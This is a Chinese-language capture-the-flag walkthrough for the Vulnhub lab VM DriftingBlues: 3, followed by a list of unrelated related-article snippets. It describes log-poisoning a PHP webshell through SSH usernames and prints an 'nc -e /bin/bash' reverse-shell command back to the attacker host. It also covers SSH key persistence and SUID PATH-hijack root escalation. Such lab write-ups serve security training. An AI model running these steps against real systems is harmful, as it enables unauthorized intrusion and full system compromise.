[Vulnhub靶机] DriftingBlues: 3

[Vulnhub靶机] DriftingBlues: 3靶机渗透思路及方法(个人分享)

靶机下载地址:

https://download.vulnhub.com/driftingblues/driftingblues3.ova


靶机地址:192.168.67.19

攻击机地址:192.168.67.3


一、信息收集

1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址

arp-scan -I 指定网卡 -l

2.使用 nmap 工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口22、80及其服务ssh、http

nmap -sV -O 靶机地址

        -sV        探测主机服务版本

        -O         识别主机操作系统

3.访问web网页,没有发现有用信息,尝试使用 dirsearch 工具扫描靶机网站目录,得到robots.txt

dirsearch -u 靶机URL

        -u        指定目标URL

4.访问靶机 robots.txt 页面,得到 /eventadmins 页面

5.继续访问 /eventadmins ,得到提示。提示中说明ssh可能存在漏洞,还得到了 /littlequeenofspades.html 页面

6.继续访问 /littlequeenofspades.html ,发现页面没有有用信息回显,查看网页源代码得到一串base64加密的内容

7.通过两次base64解密后得到 /adminsfixit.php,查看后发现该文件为ssh身份验证日志文件

二、漏洞利用

分析ssh日志文件后发现,ssh远程连接时登录的用户名会被写入到该文件内,尝试利用该漏洞将一句话木马写入到 /adminsfixit.php内

重新访问 /adminsfixit.php 网页,并通过cmd参数进行测试,发现成功写入

三、反弹shell

1.进行反向反弹shell,攻击机开启 nc 监听

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

2.利用木马执行 nc 命令,尝试反弹shell

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

3.成功反弹shell,进入靶机并成功执行命令

4.利用python中pty模块的创建交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

        -c        在命令行中调用python代码

pty.spawn() 函数是pty模块中的一个函数,用于创建一个子进程,并将其连接到一个伪终端。通过这个伪终端,我们可以与子进程进行交互,就像在控制台上一样。

5.分析查看靶机内文件,发现home目录下有一个robertj用户,且该用户目录下存在两个文件,user.txt”文件没有权限无法打开,.ssh 目录有可读可写可执行权限

6.进入 .ssh 目录进行查看,发现目录内没有任何文件内容

7.继续查看分析,查看ssh配置文件(默认目录/etc/ssh/sshd_config),发现可以公钥登录,并且给出了公钥文件存放目录 /home/robertj/.ssh/authorized_keys

8.尝试把公钥放入.ssh目录内,使用 ssh-keygen 工具生成公密钥,并将生成的密钥保存到 /home/robertj/.ssh/ 目录下

ssh-keygen -t rsa

        -t        指定生成的密钥类型,默认为RSA类型

9.将生成的公钥内容输出到authorized_keys文件内

10.查看私钥文件,将内容复制出来,粘贴到本地文件中

注意要将id_rsa文件的权限修改为与创建时权限一致

11.使用私钥进行登录,成功登录robertj用户

ssh robertj@192.168.66.140 -i id_rsa

        -i        指定身份验证文件,用于身份验证

四、提权

1.使用 find 命令寻找suid程序,发现一个可疑程序/usr/bin/getinfo

find / -perm -4000 2>/dev/null 或 find / -perm -u=s 2>/dev/null

        -perm         按照权限查找文件(4000、2000、1000分别表示SUID,SGID,SBIT权限,如777为普通文件最高权限,7000为特殊文件的最高权限)

使用find命令的时候在命令后加 2>/dev/null 将错误结果输出重定向到/dev/null中,/dev/null是一个特殊的设备文件,其实质为空设备文件,其大小是0字节,所有人都有读写权限,而其主要作用就是将接收的一切输出给它的数据并丢弃,就像垃圾桶,也被称为位桶(bit bucket)

2.执行该程序,根据执行结果发现分别运行了ip addr、cat /etc/hosts、uname -a命令

3.可以通过修改环境来进行命令劫持提权

通过修改环境变量让getinfo在调用命令调用到我们伪造的ip命令(在检索环境时会先调用最前面的环境也就是最新写入的环境),来达到提权的效果

export PATH=/tmp/:$PATH             把/tmp路径写入到系统路径中

cd /tmp

echo '/bin/bash' > ip                       把/bin/bash写入到ip文件中(相当于创建ip并写入/bin/bash)

chmod +x ip                                    给ip文件增加执行权限

4.再次运行getinfo,成功提权至root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/370392.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

leetcode206反转链表|详细算法讲解学习

题目 https://leetcode.cn/problems/reverse-linked-list/ 这道题对于刚开始学习数据结构和算法的人来说有点难,是入门的重要典型题目;但等数据结构入门之后,这就会是一道非常简单的题目了。 算法一(算法正确但超出时间限制&am…

Linux|Grep 命令的 12 个实用示例

您是否曾经遇到过在文件中查找特定字符串或模式的任务,但不知道从哪里开始查找?那么,grep 命令可以拯救你! grep 是一个功能强大的文件模式搜索器,每个 Linux 发行版都配备了它。如果出于某种原因,它没有安…

Django的web框架Django Rest_Framework精讲(一)

文章目录 Django Rest_Framework1. DRF介绍2.DRF特点3.环境安装与配置(1)DRF需要以下依赖(2)创建django项目 4.序列化器的使用(1)创建序列化器 5. 反序列化器使用 Django Rest_Framework 1. DRF介绍 Djan…

选择排序、冒泡排序----C语言数据结构

目录 引言 1.选择排序的实现1.1选择排序的时间复杂度2.冒泡排序的实现2.1冒泡排序的时间复杂度分析及优缺 引言 选择排序(Selection Sort)是一种简单直观的排序算法,它的基本思想是每次从未排序的元素中选择最小(或最大&#xff…

VitePress-08-文档中代码组的使用

什么是代码组 代码组 : 就是代码块的集合。一个代码组中可以包含多个代码块。 效果 : 用页签的形式将不同的代码块分开展示。 代码组的语法格式 代码组的语法格式较为固定,如下 : ::: code-group代码块1的类型 [代码块1展示的页签名称]代码块…

全新 鸿蒙系统

一, 开发框架 基础 二, 官网地址 文档开发:华为HarmonyOS智能终端操作系统官网 | 应用设备分布式开发者生态 三,基础了解 鸿蒙系统是基于 js 和 ts 衍生出来的一个东西 要学 arkts 就要学习 js 和 ts 语法 四&#xff0c…

Avalonia学习(二十二)-数据库操作端

开始项目式的例子,但是不方便给大家贴代码了。 内容很多,只能演示一个界面,例子上传。 我不擅长界面美化和配色,有兴趣的可以继续完善,当前实现mysql。 最近所有样例的地址: GitHub - jinyuttt/Avalonia…

基于条纹投影的三维形貌与形变测量技术研究

▒▒本文目录▒▒ 一、 引言二、基于条纹投影轮廓术的形变测量实验2.1 实验光路2.2 实验结果 三、参考文献四、结论五、软硬件系统开发六、交流与合作 一、 引言 作为一种典型的三维形貌重建方法,条纹投影轮廓测量术(Fringe Projection Profilometry&am…

java入门、环境配置及其特点介绍

目录 一、java语言的重要特点 二、java开发工具包(JDK)及其环境配置 三、java入门代码 四、Java运行机制 五、java学习方法 一、java语言的重要特点 java是面向对象的Java是健壮性的。Java具有强类型机制、异常处理、垃圾的自动收集等特点java语言是跨…

炼丹师必备平台,云上训练无压力—GpuMall智算云

说回作为一个“炼丹师”在选择炼丹平台的核心需求:【数据传输速率快慢】or【机器租用价格性价比】or【可租用机器类型多少】or【镜像版本选择多样性】or【机器稳定性】等等 是不是以上任何一个条件,都可能会影响你对平台的选择呢?纵观市面上…

python coding with ChatGPT 打卡第16天| 二叉树:完全二叉树、平衡二叉树、二叉树的所有路径、左叶子之和

相关推荐 python coding with ChatGPT 打卡第12天| 二叉树:理论基础 python coding with ChatGPT 打卡第13天| 二叉树的深度优先遍历 python coding with ChatGPT 打卡第14天| 二叉树的广度优先遍历 python coding with ChatGPT 打卡第15天| 二叉树:翻转…

曲线拟合、多项式拟合、最小二乘法

最近在做自车轨迹预测的工作,遇到 曲线拟合、多项式拟合、最小二乘法这些概念有点不清晰, 做一些概念区别的总结: 曲线拟合用于查找一系列数据点的“最佳拟合”线或曲线。 大多数情况下,曲线拟合将产生一个函数,可用于…

【数据结构与算法】(7)基础数据结构之双端队列的链表实现、环形数组实现示例讲解

目录 2.6 双端队列1) 概述2) 链表实现3) 数组实现习题E01. 二叉树 Z 字层序遍历-Leetcode 103 2.6 双端队列 1) 概述 双端队列、队列、栈对比 定义特点队列一端删除(头)另一端添加(尾)First In First Out栈一端删除和添加&…

网工内推 | 金融业网络安全岗,最高40K*15薪,CISP认证优先

01 国泰产险 招聘岗位:资深信息安全工程师 职责描述: 1、负责公司云平台业务系统的安全规划设计,协助业务系统制定安全解决方案; 2、负责建立公司信息安全标准,制定平台安全策略,安全加固,防范…

数据可视化 pycharts实现中国各省市地图数据可视化

自用版 数据格式如下: 运行效果如下: import pandas as pd from pyecharts.charts import Map, TreeMap, Timeline, Page, WordCloud from pyecharts import options as opts from pyecharts.commons.utils import JsCode from pyecharts.globals im…

js逆向-某验3代滑块验证码分析

声明 本文仅供学习参考,如有侵权可私信本人删除,请勿用于其他途径,违者后果自负! 如果觉得文章对你有所帮助,可以给博主点击关注和收藏哦! 插句个人内容:本人最近正在找工作,工作城…

alibabacloud学习笔记05(小滴课堂)

高并发下的微服务存在的问题 高并发下的微服务容错方案 介绍什么是分布式系统的流量防卫兵Sentinel 微服务引入Sentinel和控制台搭建 每个服务都加上这个依赖。 启动方式: 讲解AliababCloud微服务整合Sentinel限流配置实操 我们在order和video模块都加上。 分别启动…

第三百零六回

文章目录 1. 概念介绍2. 思路与方法2.1 实现思路2.2 实现方法 3. 示例代码4. 内容总结 我们在上一章回中介绍了"分享三个使用TextField的细节"沉浸式状态样相关的内容,本章回中将介绍如何创建单例模式.闲话休提,让我们一起Talk Flutter吧。 1.…

回归预测 | Matlab实现POA-CNN-LSTM-Attention鹈鹕算法优化卷积长短期记忆网络注意力多变量回归预测(SE注意力机制)

回归预测 | Matlab实现POA-CNN-LSTM-Attention鹈鹕算法优化卷积长短期记忆网络注意力多变量回归预测(SE注意力机制) 目录 回归预测 | Matlab实现POA-CNN-LSTM-Attention鹈鹕算法优化卷积长短期记忆网络注意力多变量回归预测(SE注意力机制&…

超时引发的牛角尖二(hystrix中的超时)

至今我都清楚记得自己负责的系统请求云上关联系统时所报的异常信息。为了解决这个异常,我坚持让这个关联系统的负责人查看,并且毫不顾忌他的嘲讽和鄙视,甚至无视他烦躁的情绪。不过我还是高估了自己的脸皮,最终在其恶狠狠地抛下“…